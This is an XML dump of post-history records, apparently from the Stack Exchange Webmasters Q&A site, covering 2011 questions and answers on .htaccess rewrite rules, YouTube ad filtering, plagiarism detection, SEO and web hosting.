  <row Id="40224" PostHistoryTypeId="3" PostId="16810" RevisionGUID="7883f3d1-3921-4248-8daa-87b061b295b5" CreationDate="2011-07-14T08:26:03.587" UserId="8957" Text="&lt;javascript&gt;&lt;text-editor&gt;" />
  <row Id="40225" PostHistoryTypeId="2" PostId="16811" RevisionGUID="71fb3cc3-32d8-478d-b922-3c47523c913a" CreationDate="2011-07-14T08:30:49.903" UserId="1643" Text="The one used to type this message is a custom version of [WMD][1]. I've used [tinymce][2] and although it does have a lot of features, you can specify which buttons to include in the configuration, so you can only have those few if you want.&#xD;&#xA;&#xD;&#xA;(As to why asking gives you better search results: http://meta.stackoverflow.com/questions/20432/related-questions-in-ask-question-page-is-better-than-search-tool)&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/43024/what-html-editor-is-used-by-stack-overflow&#xD;&#xA;  [2]: http://tinymce.moxiecode.com/" />
  <row Id="40226" PostHistoryTypeId="2" PostId="16812" RevisionGUID="9328fd41-c3c7-4476-ab7a-5611e687d13c" CreationDate="2011-07-14T08:31:51.213" UserId="8959" Text="I am new so I don't know the history. But why, after I just found out, do all hushmail email users cannot register or log in to the website that I am administering.&#xD;&#xA;&#xD;&#xA;Is hushmail a spam source? Or any giant bad guy is using hushmail serious enough to block all users who use hushmail?&#xD;&#xA;&#xD;&#xA;Anyone knows about that?&#xD;&#xA;&#xD;&#xA;http://www.hushmail.com/ looks fine to me&#xD;&#xA;" />
  <row Id="40227" PostHistoryTypeId="1" PostId="16812" RevisionGUID="9328fd41-c3c7-4476-ab7a-5611e687d13c" CreationDate="2011-07-14T08:31:51.213" UserId="8959" Text="Is hushmail a spam source?" />
  <row Id="40228" PostHistoryTypeId="3" PostId="16812" RevisionGUID="9328fd41-c3c7-4476-ab7a-5611e687d13c" CreationDate="2011-07-14T08:31:51.213" UserId="8959" Text="&lt;email&gt;&lt;spam&gt;" />
  <row Id="40229" PostHistoryTypeId="2" PostId="16813" RevisionGUID="fe6b5d0b-5943-4618-9151-06667d1bd68a" CreationDate="2011-07-14T08:33:04.193" UserId="-1" Text="" />
  <row Id="40234" PostHistoryTypeId="25" PostId="16789" RevisionGUID="c4c3f7fa-1629-4291-aa29-fff93ff497b3" CreationDate="2011-07-14T09:31:36.910" Comment="http://twitter.com/#!/StackWebmasters/status/91439694298091520" />
  <row Id="40235" PostHistoryTypeId="2" PostId="16816" RevisionGUID="9189bd79-9438-495b-8ad0-bee93fe3f6cb" CreationDate="2011-07-14T09:45:45.230" UserId="1643" Text="This should do it&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} domainx.com$ [NC]&#xD;&#xA;    RewriteRule ^domainy/ - [R=404,L]&#xD;&#xA;&#xD;&#xA;(Adapted from [this answer][1] but I think mine is right whereas the first example in that one is wrong as it uses the wrong domain in RewriteCond. That should be enough, but you could try the other things in that question if it doesn't work.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5386576/how-to-create-htaccess-to-block-access-to-a-subdirectory-that-hosts-a-separate-d/5386737#5386737" />
  <row Id="40236" PostHistoryTypeId="2" PostId="16817" RevisionGUID="9ac014a2-a35d-4cb6-8717-b06fcb7763a4" CreationDate="2011-07-14T09:57:28.530" UserId="5581" Text="I want to start and upload to youtube every day a new video for my commercial use.  &#xD;&#xA;The videos are suppose to serve existing clients and potential clients and are given free to everyone .&#xD;&#xA;&#xD;&#xA;My problem is that I don't want that my competitors ads will be presented inside my video.&#xD;&#xA;And by mistake my potential clients will be going to the competitor site because they think it is the competitor's video.&#xD;&#xA;&#xD;&#xA;Is the any way to disallow ads (or certain category) in my movies? I am willing to pay for that service.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="40237" PostHistoryTypeId="1" PostId="16817" RevisionGUID="9ac014a2-a35d-4cb6-8717-b06fcb7763a4" CreationDate="2011-07-14T09:57:28.530" UserId="5581" Text="Youtube - preventing ads of my competitors on my videos" />
  <row Id="40238" PostHistoryTypeId="3" PostId="16817" RevisionGUID="9ac014a2-a35d-4cb6-8717-b06fcb7763a4" CreationDate="2011-07-14T09:57:28.530" UserId="5581" Text="&lt;ads&gt;&lt;youtube&gt;" />
  <row Id="40240" PostHistoryTypeId="2" PostId="16818" RevisionGUID="5d569276-9466-4ff8-9f4e-06dfea32f8a5" CreationDate="2011-07-14T10:35:45.277" UserId="6184" Text="We have a website with several thousand pages and it is frequently copied elsewhere; we'd like to know when and where this takes place to so we can make sure we are attributed correctly." />
  <row Id="40241" PostHistoryTypeId="1" PostId="16818" RevisionGUID="5d569276-9466-4ff8-9f4e-06dfea32f8a5" CreationDate="2011-07-14T10:35:45.277" UserId="6184" Text="Is there a service available to help continuously check for plagiarism online?" />
  <row Id="40242" PostHistoryTypeId="3" PostId="16818" RevisionGUID="5d569276-9466-4ff8-9f4e-06dfea32f8a5" CreationDate="2011-07-14T10:35:45.277" UserId="6184" Text="&lt;copyright&gt;" />
  <row Id="40243" PostHistoryTypeId="2" PostId="16819" RevisionGUID="00957171-09e4-4fc8-9d39-32ba36ba7438" CreationDate="2011-07-14T10:36:15.253" UserId="7198" Text="From the YouTube help page titled ['Adding sites to a filter list'][1]:&#xD;&#xA;&#xD;&#xA;&gt; As a YouTube content partner, you can filter specific AdSense&#xD;&#xA;&gt; advertiser domains appearing next to your YouTube videos.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Here's how to filter a specific AdSense advertiser domain:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Sign in to your Adsense account.&#xD;&#xA;&gt; 2. On the AdSense Setup tab , click the Competitive Ad Filter link.&#xD;&#xA;&gt; 3. Click on the &quot;AdSense for Content Host&quot; subtab halfway down the page.&#xD;&#xA;&gt; 4. In the text box, enter the domains that you want to block from AdSense ads.&#xD;&#xA;&gt; 5. Enter URL that is displayed on the ad for that website. Enter one URL per line. You can add up to 500 URLs.&#xD;&#xA;&gt; 6. Click &quot;Save Changes&quot; to add these sites to your competitive ad filter.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Changes to your filter list should be reflected on your site within 30&#xD;&#xA;&gt; minutes.&#xD;&#xA;&#xD;&#xA;You could also try the AdSense [category filters](https://www.google.com/adsense/site-targeted-ad-review) and [competitive ad filters](https://www.google.com/adsense/filter-online) in the Adsense setup area.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/youtube/bin/answer.py?hl=en&amp;answer=172795" />
  <row Id="40244" PostHistoryTypeId="2" PostId="16820" RevisionGUID="6b3d47ce-b6de-4d77-81c7-1896a481b4d2" CreationDate="2011-07-14T10:48:24.353" UserId="7198" Text="Forum software such as [vbulletin](http://www.vbulletin.org/) offers modules such as ['undisposable'](http://www.vbulletin.org/forum/showthread.php?t=210946) that block users of free email services including hushmail, hotmail, and whatever domains you specify.&#xD;&#xA;&#xD;&#xA;This is usually an attempt to reduce spam, because free and disposable email addresses are more likely to be used by spammers.&#xD;&#xA;&#xD;&#xA;To lift these restrictions, you need to determine where in your forum/content management system they're being applied. You'll probably need the highest level admin access in order to change settings like these. If you edit your question to explain what software you're using and how much control you have over it, we may be able to find instructions to override the restrictions or whitelist hushmail accounts for you. " />
  <row Id="40245" PostHistoryTypeId="6" PostId="16817" RevisionGUID="1c968185-44ba-435b-a827-526b583ecdc5" CreationDate="2011-07-14T10:49:31.760" UserId="7198" Comment="edited tags" Text="&lt;google-adsense&gt;&lt;video&gt;&lt;ads&gt;&lt;youtube&gt;" />
  <row Id="40246" PostHistoryTypeId="2" PostId="16821" RevisionGUID="926755be-c4e6-4a79-854c-879ecb9f258b" CreationDate="2011-07-14T10:52:40.590" UserId="8957" Text="You should definitely at least look into amazon payments https://payments.amazon.com&#xD;&#xA;If you're just starting out i would definitely use something like paypal or amazon that have a very low initial cost, and upgrade to a different system if there's something left to be desired and you have enough volume to pay for it." />
  <row Id="40247" PostHistoryTypeId="2" PostId="16822" RevisionGUID="3648c158-1957-4b3f-9ac2-733969d36a52" CreationDate="2011-07-14T11:04:39.533" UserId="8957" Text="While I would strongly advise against using google for translations (unless you plan on editing them afterwards), you will very likely not be penalized for duplicate content since google will not check content against translations to other languages for indexing." />
  <row Id="40248" PostHistoryTypeId="2" PostId="16823" RevisionGUID="a22e176c-61cc-4820-8b65-c29c8e7a3d18" CreationDate="2011-07-14T11:07:21.183" UserId="7198" Text="[FairShare](https://fairshare.attributor.com/fairshare/) offers a free service that tries to automatically detect where and when your content is being reused, based on an RSS feed you supply.&#xD;&#xA;&#xD;&#xA;Supply your feed address in the first step, then choose &quot;I don't license my content&quot; in the second step (unless you want to license it for reuse):&#xD;&#xA;&#xD;&#xA;![FairShare check for website plagiarism][1]&#xD;&#xA;&#xD;&#xA;Click the link they send you by email, and FairShare then publishes two RSS feeds that you can subscribe to containing sites reusing your content (one containing all examples of reuse separately and one with a weekly summary). They say that there can be a delay of 12 hours between a site reusing your content and them detecting it.&#xD;&#xA;&#xD;&#xA;You could also include unique codes/keywords in your content and set up [Google Alerts](http://www.google.com/alerts) to detect them.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/hKRDV.png&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40249" PostHistoryTypeId="2" PostId="16824" RevisionGUID="35960bdc-7786-4c0e-890d-c6e1373509c4" CreationDate="2011-07-14T11:14:06.973" UserId="4502" Text="Plagiarism Today has a &lt;a href=&quot;http://www.plagiarismtoday.com/stopping-internet-plagiarism/1-how-to-find-plagiarism/&quot;&gt;resource page&lt;/a&gt; with a bunch of tools for use in various contexts(feeds, images, etc.) The standard for text content for some time now seems to be &lt;a href=&quot;http://www.copyscape.com/&quot;&gt;Copyscape&lt;/a&gt;, and their &lt;a href=&quot;http://www.copyscape.com/signup.php?pro=0&amp;o=f&quot;&gt;Copysentry&lt;/a&gt; is a paid and automated service. &#xD;&#xA;&#xD;&#xA;You should give that page a scan for some other techniques you'd probably want to consider." />
  <row Id="40250" PostHistoryTypeId="5" PostId="16817" RevisionGUID="b868d7a0-cc88-4825-9a11-59b312f092ff" CreationDate="2011-07-14T11:27:27.003" UserId="5581" Comment="added 194 characters in body" Text="I want to start and upload to youtube every day a new video for my commercial use.  &#xD;&#xA;The videos are suppose to serve existing clients and potential clients and are given free to everyone .&#xD;&#xA;&#xD;&#xA;My problem is that I don't want that my competitors ads will be presented inside my video.&#xD;&#xA;And by mistake my potential clients will be going to the competitor site because they think it is the competitor's video.&#xD;&#xA;&#xD;&#xA;Is the any way to disallow ads (or certain category) in my movies? I am willing to pay for that service.&#xD;&#xA;&#xD;&#xA;**Edit 1**&#xD;&#xA;&#xD;&#xA;To make it clear. &#xD;&#xA;I am uploading videos to youtube with my brand on it, but this video is not promoted, regular user.  &#xD;&#xA;I don't want to see other ads **inside** my video.  &#xD;&#xA;By mistake I can have a competitor inside my video.  &#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="40251" PostHistoryTypeId="2" PostId="16825" RevisionGUID="51532187-3749-490a-842a-ea16efd3a5e9" CreationDate="2011-07-14T11:32:29.820" UserId="7198" Text="From Google's article titled ['deftly dealing with duplicate content'](http://googlewebmastercentral.blogspot.com/2006/12/deftly-dealing-with-duplicate-content.html):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...our algorithms won't view the same article written in English and&#xD;&#xA;&gt; Spanish as duplicate content.&quot;&#xD;&#xA;&#xD;&#xA;If you're reproducing licensed content in a different language from the original, Google will see your content as original.&#xD;&#xA;&#xD;&#xA;If you're reproducing content in the same language, you should link back to the source to ensure that Google ranks that higher than your version. The content reproduced on your site won't incur any 'duplicate content penalties' that effect your whole site; it will simply mean that those particular same-language pages will be seen lower in search results than the original version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For reliable human translation, I use and recommend [mygengo.](http://mygengo.com)&#xD;&#xA;" />
  <row Id="40255" PostHistoryTypeId="2" PostId="16826" RevisionGUID="5c3c63ba-54ac-4855-ab29-3cb719ce3c67" CreationDate="2011-07-14T11:41:31.680" UserId="6989" Text="I've done it the hard way with php - I'm lucky that zen cart allows php in templates...&#xD;&#xA;I used conditions with 3 vars: `$_GET['main_page']`, `$_GET['cPath']` and `$_GET['id']` and depending on their value I inserted the content I need as follows:&#xD;&#xA;&#xD;&#xA;    if($_GET['main_page']=='index' &amp;&amp; !$_GET['cPath']){ // this condition is met only on the first page&#xD;&#xA;    // slideshow&#xD;&#xA;    }&#xD;&#xA;    elseif($_GET['main_page']=='page' &amp;&amp; $_GET['id']==1){&#xD;&#xA;    // banner&#xD;&#xA;    } // and so on" />
  <row Id="40256" PostHistoryTypeId="5" PostId="16810" RevisionGUID="657a9cf3-ea79-43a1-a8a0-3970ed8e34ff" CreationDate="2011-07-14T11:41:35.693" UserId="1253" Comment="modified tags, minor text edits" Text="I'm looking for a simple javascript editor, much like the one i'm using to type this message. I've tried searching (and i wondered why starting to ask a question shows much better search results than just searching) and have come up with a few results, none of them relevant.&#xD;&#xA;&#xD;&#xA;I just need a very simple editor, that displays text as `&lt;p&gt;`, has a way to insert links, and allows me to display html tags in the text rather than making them get parsed.&#xD;&#xA;The editors that I've seen so far all have a rich feature set and more functions than i would ever want, or want to learn to use." />
  <row Id="40257" PostHistoryTypeId="4" PostId="16810" RevisionGUID="657a9cf3-ea79-43a1-a8a0-3970ed8e34ff" CreationDate="2011-07-14T11:41:35.693" UserId="1253" Comment="modified tags, minor text edits" Text="Lightweight javascript editor for textarea" />
  <row Id="40258" PostHistoryTypeId="6" PostId="16810" RevisionGUID="657a9cf3-ea79-43a1-a8a0-3970ed8e34ff" CreationDate="2011-07-14T11:41:35.693" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;javascript&gt;&lt;looking-for-a-script&gt;&lt;text-editor&gt;" />
  <row Id="40259" PostHistoryTypeId="2" PostId="16827" RevisionGUID="3d6002f3-664f-4f84-9884-8e435a7d0fac" CreationDate="2011-07-14T11:44:44.723" UserId="1253" Text="You can also use [Google Alerts][1] to notify you whenever Google finds a page that contain you specify. In your case you would have Google look for unique text in your pages. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts" />
  <row Id="40260" PostHistoryTypeId="5" PostId="14982" RevisionGUID="de79963e-2746-4365-a8ac-8935a7b57920" CreationDate="2011-07-14T11:46:43.350" UserId="1253" Comment="modified tags, minor text edits" Text="I work for a small business, and I *am* the &quot;IT Department&quot;. I also happen to be a summer intern, so after I leave the number of IT staff will be 0 for an indefinite period of time. I need a place where I can reliably put up the company's website as well as the mySQL+PHP backend. Good redundancy is a plus, as well as easy administration for my IT-challenged colleagues. Managed hosting would be good, so the PHP versions can update without my company having to hire an admin.&#xD;&#xA;&#xD;&#xA;**EDIT**: The company already has a mySQL+PHP server running locally which hosts the existing website. My assignment is to find a remote server where the latest versions of mySQL+PHP will be maintained and where there is a very small chance of unintended downtime. Can you recommend anything?" />
  <row Id="40261" PostHistoryTypeId="6" PostId="14982" RevisionGUID="de79963e-2746-4365-a8ac-8935a7b57920" CreationDate="2011-07-14T11:46:43.350" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;mysql&gt;&lt;looking-for-hosting&gt;" />
  <row Id="40262" PostHistoryTypeId="5" PostId="16819" RevisionGUID="5964e23d-df39-4e9d-a549-f0558d86c33c" CreationDate="2011-07-14T11:47:58.280" UserId="7198" Comment="added 567 characters in body" Text="From the YouTube help page titled ['Adding sites to a filter list'][1]:&#xD;&#xA;&#xD;&#xA;&gt; As a YouTube content partner, you can filter specific AdSense&#xD;&#xA;&gt; advertiser domains appearing next to your YouTube videos.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Here's how to filter a specific AdSense advertiser domain:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Sign in to your Adsense account.&#xD;&#xA;&gt; 2. On the AdSense Setup tab , click the Competitive Ad Filter link.&#xD;&#xA;&gt; 3. Click on the &quot;AdSense for Content Host&quot; subtab halfway down the page.&#xD;&#xA;&gt; 4. In the text box, enter the domains that you want to block from AdSense ads.&#xD;&#xA;&gt; 5. Enter URL that is displayed on the ad for that website. Enter one URL per line. You can add up to 500 URLs.&#xD;&#xA;&gt; 6. Click &quot;Save Changes&quot; to add these sites to your competitive ad filter.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Changes to your filter list should be reflected on your site within 30&#xD;&#xA;&gt; minutes.&#xD;&#xA;&#xD;&#xA;You could also try the AdSense [category filters](https://www.google.com/adsense/site-targeted-ad-review) and [competitive ad filters](https://www.google.com/adsense/filter-online) in the Adsense setup area.&#xD;&#xA;&#xD;&#xA;To completely turn off ads displayed inside your YouTube videos:&#xD;&#xA;&#xD;&#xA;1. Log in to YouTube&#xD;&#xA;2. Click your username in the top right of the screen.&#xD;&#xA;3. Click the 'Settings' link under the 'My Account' header.&#xD;&#xA;4. Choose the 'Manage Account' link in the left sidebar.&#xD;&#xA;5. Scroll to the bottom, and choose 'do not allow advertisements':&#xD;&#xA;  ![youtube turn off advertising][2]&#xD;&#xA;&#xD;&#xA;You may also wish to consider using a video sharing service that depends upon in-video advertising less heavily, such as [Vimeo.](http://vimeo.com)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/youtube/bin/answer.py?hl=en&amp;answer=172795&#xD;&#xA;  [2]: http://i.stack.imgur.com/PQ9xM.png" />
  <row Id="40266" PostHistoryTypeId="2" PostId="16829" RevisionGUID="c2f1f37c-1865-46b3-b92d-eca382b13fec" CreationDate="2011-07-14T12:14:12.183" UserId="6776" Text="I've deleted a web page permanently and also added this rule in the bottom of my .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^paysignet-payment-gateway-features-and-benefits.html$ - [G,L]&#xD;&#xA;&#xD;&#xA;But this url of this page: http://www.creditcardpaymentgateways.in/paysignet-payment-gateway-features-and-benefits.html is returning 404 from the server rather than a 410.&#xD;&#xA;&#xD;&#xA;What could be the problem?" />
  <row Id="40267" PostHistoryTypeId="1" PostId="16829" RevisionGUID="c2f1f37c-1865-46b3-b92d-eca382b13fec" CreationDate="2011-07-14T12:14:12.183" UserId="6776" Text="410 permanent delete not working" />
  <row Id="40268" PostHistoryTypeId="3" PostId="16829" RevisionGUID="c2f1f37c-1865-46b3-b92d-eca382b13fec" CreationDate="2011-07-14T12:14:12.183" UserId="6776" Text="&lt;http&gt;" />
  <row Id="40269" PostHistoryTypeId="2" PostId="16830" RevisionGUID="0f6282ee-bab1-4fe8-bb01-7f044a3a5fb1" CreationDate="2011-07-14T12:18:38.550" UserId="8935" Text="we are facing slow indexing of a wensite which is hosted on Free hoster x10hosting.com &#xD;&#xA;but Cotrollary to this the site which is on the Paid Hoster  indexed quickly and  appeared in google first page  quickly ..in technical both sites are mostly similar in design and Content wise and the Keywords are also Similar .. they belongs same category ( FInancial Sectors)... please let me know is freehosting affect SEO ??" />
  <row Id="40270" PostHistoryTypeId="1" PostId="16830" RevisionGUID="0f6282ee-bab1-4fe8-bb01-7f044a3a5fb1" CreationDate="2011-07-14T12:18:38.550" UserId="8935" Text="Will Freehosting affect SEO ???" />
  <row Id="40271" PostHistoryTypeId="3" PostId="16830" RevisionGUID="0f6282ee-bab1-4fe8-bb01-7f044a3a5fb1" CreationDate="2011-07-14T12:18:38.550" UserId="8935" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;search-engines&gt;" />
  <row Id="40274" PostHistoryTypeId="2" PostId="16832" RevisionGUID="c36361e9-04bc-4185-90df-994c0b033f5b" CreationDate="2011-07-14T12:25:32.303" UserId="7198" Text="Try putting that line at the top of your .htaccess file instead of at the bottom. It's possible that another RewriteRule is taking effect before that one. (Probably one that also uses an L/last flag, which would mean your 410 rule would never be evaluated.)" />
  <row Id="40275" PostHistoryTypeId="6" PostId="16612" RevisionGUID="82a45238-c63b-4263-a9a5-aa1c37c2898c" CreationDate="2011-07-14T12:28:58.617" UserId="8263" Comment="edited tags" Text="&lt;mysql&gt;&lt;content&gt;&lt;database&gt;" />
  <row Id="40276" PostHistoryTypeId="2" PostId="16833" RevisionGUID="d13c5dc6-4eb2-4aa4-a9a6-8f471a187a5c" CreationDate="2011-07-14T12:47:12.597" UserId="7198" Text="A web host I'm considering quotes their server connection speed for their basic package as '15Mb/s burstable.' They offer an upgrade to a more expensive package with a '35Mb/s burstable' speed.&#xD;&#xA;&#xD;&#xA;I also understand that 10Mb/s connections seem to be common with shared hosting, that 100Mb/s are more common with dedicated hosting, and that some hosts advertise connection speeds of 1000Mb/s.&#xD;&#xA;&#xD;&#xA;What difference does network connection speed make to website visitors and general site performance? More specifically:&#xD;&#xA;&#xD;&#xA;1. How can I evaluate what connection speed I'll need for a particular project?&#xD;&#xA;2. What sort of projects need large connection speeds, and what sort will be fine on smaller ones?&#xD;&#xA;2. What are the signs that I need to upgrade to a server with a faster connection speed?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40277" PostHistoryTypeId="1" PostId="16833" RevisionGUID="d13c5dc6-4eb2-4aa4-a9a6-8f471a187a5c" CreationDate="2011-07-14T12:47:12.597" UserId="7198" Text="When does server connection speed make a difference to website performance?" />
  <row Id="40278" PostHistoryTypeId="3" PostId="16833" RevisionGUID="d13c5dc6-4eb2-4aa4-a9a6-8f471a187a5c" CreationDate="2011-07-14T12:47:12.597" UserId="7198" Text="&lt;web-hosting&gt;&lt;performance&gt;&lt;speed&gt;" />
  <row Id="40279" PostHistoryTypeId="2" PostId="16834" RevisionGUID="30b8b1d5-d818-43d0-87e6-6d42c86ce54b" CreationDate="2011-07-14T13:00:51.553" UserId="1253" Text="The fact that the hosting is free won't make a difference whatsoever. How it will affect SEO is free hosting providers usually cram more sites on the server then the server can realistically handle. As a result the websites on it will be slower then most other websites. Since page loading speed is a factor in Google's ranking algorithm being on a free host will indirectly hurt your SEO." />
  <row Id="40280" PostHistoryTypeId="4" PostId="16833" RevisionGUID="f018fb65-a39b-47d3-a89e-a65c5c6806db" CreationDate="2011-07-14T13:01:30.977" UserId="7198" Comment="edited title" Text="How does server connection speed affect website performance?" />
  <row Id="40281" PostHistoryTypeId="5" PostId="16830" RevisionGUID="77584d4e-5f73-423b-955c-a80285f8eee8" CreationDate="2011-07-14T13:02:49.120" UserId="1253" Comment="modified tags, major text edits" Text="We are facing slow indexing of a website which is hosted by a free hosting provider &#xD;&#xA;but corollary to this the site which is on the paid hosting provider was indexed quickly and  appeared in google first page quickly. Both sites are mostly similar in design and content and the keywords are also similar. &#xD;&#xA;&#xD;&#xA;Does free website hosting affect SEO?" />
  <row Id="40282" PostHistoryTypeId="4" PostId="16830" RevisionGUID="77584d4e-5f73-423b-955c-a80285f8eee8" CreationDate="2011-07-14T13:02:49.120" UserId="1253" Comment="modified tags, major text edits" Text="Will free webhosting affect SEO?" />
  <row Id="40288" PostHistoryTypeId="2" PostId="16836" RevisionGUID="8f555451-426d-4974-9c25-bdc48c8f61cb" CreationDate="2011-07-14T13:30:05.627" UserId="8147" Text="I think this doesn't matter on small sites, but on very big sites with big traffic, there is more internet speed required. Because if you have 10Mb/s on big site with more than 10 000 users they will be &quot;stored&quot; in queue and they have to wait till queue is empty. &#xD;&#xA;&#xD;&#xA;If you consider that normal user has about 16  Mb/s internet, he 'requires' almost 2x resources from your server than you have avaible. And I'm talking about one user, only " />
  <row Id="40292" PostHistoryTypeId="2" PostId="16837" RevisionGUID="809d4850-dfcd-4b97-b041-8139b629193a" CreationDate="2011-07-14T13:32:49.633" UserId="5218" Text="I am working with a team to select a new content management system for a large membership organization (around 25,000 members). The organization has revenue so I'm looking for a dirt cheap solution.&#xD;&#xA;&#xD;&#xA;The site currently uses ASI iMIS which is based on ColdFusion. It's difficult to work with and not flexible for our needs.&#xD;&#xA;&#xD;&#xA;What other possible alternatives to ASI iMIS are there?&#xD;&#xA;&#xD;&#xA;Ideally the solution would have some sort of support from the vendor.&#xD;&#xA;&#xD;&#xA;So far I've come up with:&#xD;&#xA;&#xD;&#xA; - Drupal/Acquia&#xD;&#xA;   &#xD;&#xA; - SDL Tridion&#xD;&#xA;&#xD;&#xA; - Plone&#xD;&#xA;   &#xD;&#xA; - Ellington (probably too news like)&#xD;&#xA;   &#xD;&#xA; - Pinax (probably not developed enough)" />
  <row Id="40293" PostHistoryTypeId="1" PostId="16837" RevisionGUID="809d4850-dfcd-4b97-b041-8139b629193a" CreationDate="2011-07-14T13:32:49.633" UserId="5218" Text="What are some alternatives to ASI iMIS Content Management Systems?" />
  <row Id="40294" PostHistoryTypeId="3" PostId="16837" RevisionGUID="809d4850-dfcd-4b97-b041-8139b629193a" CreationDate="2011-07-14T13:32:49.633" UserId="5218" Text="&lt;cms&gt;" />
  <row Id="40295" PostHistoryTypeId="5" PostId="16837" RevisionGUID="2dbeb28f-7b62-455b-b17a-ab13a9039bec" CreationDate="2011-07-14T13:35:52.367" UserId="1253" Comment="modified tags" Text="I am working with a team to select a new content management system for a large membership organization (around 25,000 members). The organization has revenue so I'm looking for a dirt cheap solution.&#xD;&#xA;&#xD;&#xA;The site currently uses ASI iMIS which is based on ColdFusion. It's difficult to work with and not flexible for our needs.&#xD;&#xA;&#xD;&#xA;What other possible alternatives to ASI iMIS are there?&#xD;&#xA;&#xD;&#xA;Ideally the solution would have some sort of support from the vendor.&#xD;&#xA;&#xD;&#xA;So far I've come up with: &#xD;&#xA;&#xD;&#xA; - Drupal/Acquia&#xD;&#xA;   &#xD;&#xA; - SDL Tridion&#xD;&#xA;&#xD;&#xA; - Plone&#xD;&#xA;   &#xD;&#xA; - Ellington (probably too news like)&#xD;&#xA;   &#xD;&#xA; - Pinax (probably not developed enough)" />
  <row Id="40296" PostHistoryTypeId="6" PostId="16837" RevisionGUID="2dbeb28f-7b62-455b-b17a-ab13a9039bec" CreationDate="2011-07-14T13:35:52.367" UserId="1253" Comment="modified tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="40297" PostHistoryTypeId="17" PostId="16838" RevisionGUID="e7617dca-21c2-47ad-a999-c4f2e2f1493e" CreationDate="2011-07-14T13:37:25.567" UserId="-1" Comment="from http://stackoverflow.com/questions/6693071/if-my-url-and-contents-are-dynamic-will-google-be-able-to-read-them" Text="" />
  <row Id="40298" PostHistoryTypeId="17" PostId="16839" RevisionGUID="69988114-e233-4785-9bc1-ca97614689e2" CreationDate="2011-07-14T13:37:25.567" UserId="-1" Comment="from http://stackoverflow.com/questions/6693071/if-my-url-and-contents-are-dynamic-will-google-be-able-to-read-them" Text="" />
  <row Id="40299" PostHistoryTypeId="17" PostId="16840" RevisionGUID="af20ba84-c48a-41a4-9939-8888e7d8e678" CreationDate="2011-07-14T13:37:25.567" UserId="-1" Comment="from http://stackoverflow.com/questions/6693071/if-my-url-and-contents-are-dynamic-will-google-be-able-to-read-them" Text="" />
  <row Id="40300" PostHistoryTypeId="17" PostId="16841" RevisionGUID="3d6142fc-0064-4e2d-8492-b491404597c4" CreationDate="2011-07-14T13:37:25.567" UserId="-1" Comment="from http://stackoverflow.com/questions/6693071/if-my-url-and-contents-are-dynamic-will-google-be-able-to-read-them" Text="" />
  <row Id="40301" PostHistoryTypeId="2" PostId="16839" RevisionGUID="f2464204-e600-4739-b543-7bbbf212a6dc" CreationDate="2011-07-14T12:32:00.807" UserDisplayName="Andy" Text="As long as there is a link to the dynamic page then Google should be able to find it.  &#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;&#xD;&#xA;I would question the value of dynamic page titles.  Google likes page titles which reflect the content of the page and this is one of the more important titles.  Having them change doesn't sound like a good idea to me.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40302" PostHistoryTypeId="2" PostId="16840" RevisionGUID="ffd04e6e-2249-4ee1-a822-14a23d8b95d5" CreationDate="2011-07-14T12:32:35.813" UserId="8147" Text="Why wouldn't it be able to read your title? It reads only once and evrytime it crawles again, it reads title again, too" />
  <row Id="40303" PostHistoryTypeId="2" PostId="16841" RevisionGUID="aaeed0b6-74b8-40a6-8c5c-1b6759ef508d" CreationDate="2011-07-14T12:32:37.080" UserDisplayName="Barry" Text="Yes Google is able to read them." />
  <row Id="40304" PostHistoryTypeId="2" PostId="16838" RevisionGUID="32251e36-2923-489f-8130-6c25dee69f45" CreationDate="2011-07-14T12:24:46.433" UserDisplayName="Hameed" Text="In SEO point of view ...  &#xD;&#xA;I have set my page title's dynamic . My question is that, **Is google be able to read these title's** ? " />
  <row Id="40305" PostHistoryTypeId="1" PostId="16838" RevisionGUID="32251e36-2923-489f-8130-6c25dee69f45" CreationDate="2011-07-14T12:24:46.433" UserDisplayName="Hameed" Text="if my url and contents are dynamic , will google be able to read them" />
  <row Id="40306" PostHistoryTypeId="3" PostId="16838" RevisionGUID="32251e36-2923-489f-8130-6c25dee69f45" CreationDate="2011-07-14T12:24:46.433" UserDisplayName="Hameed" Text="&lt;php&gt;&lt;seo&gt;&lt;search-engines&gt;&lt;research&gt;" />
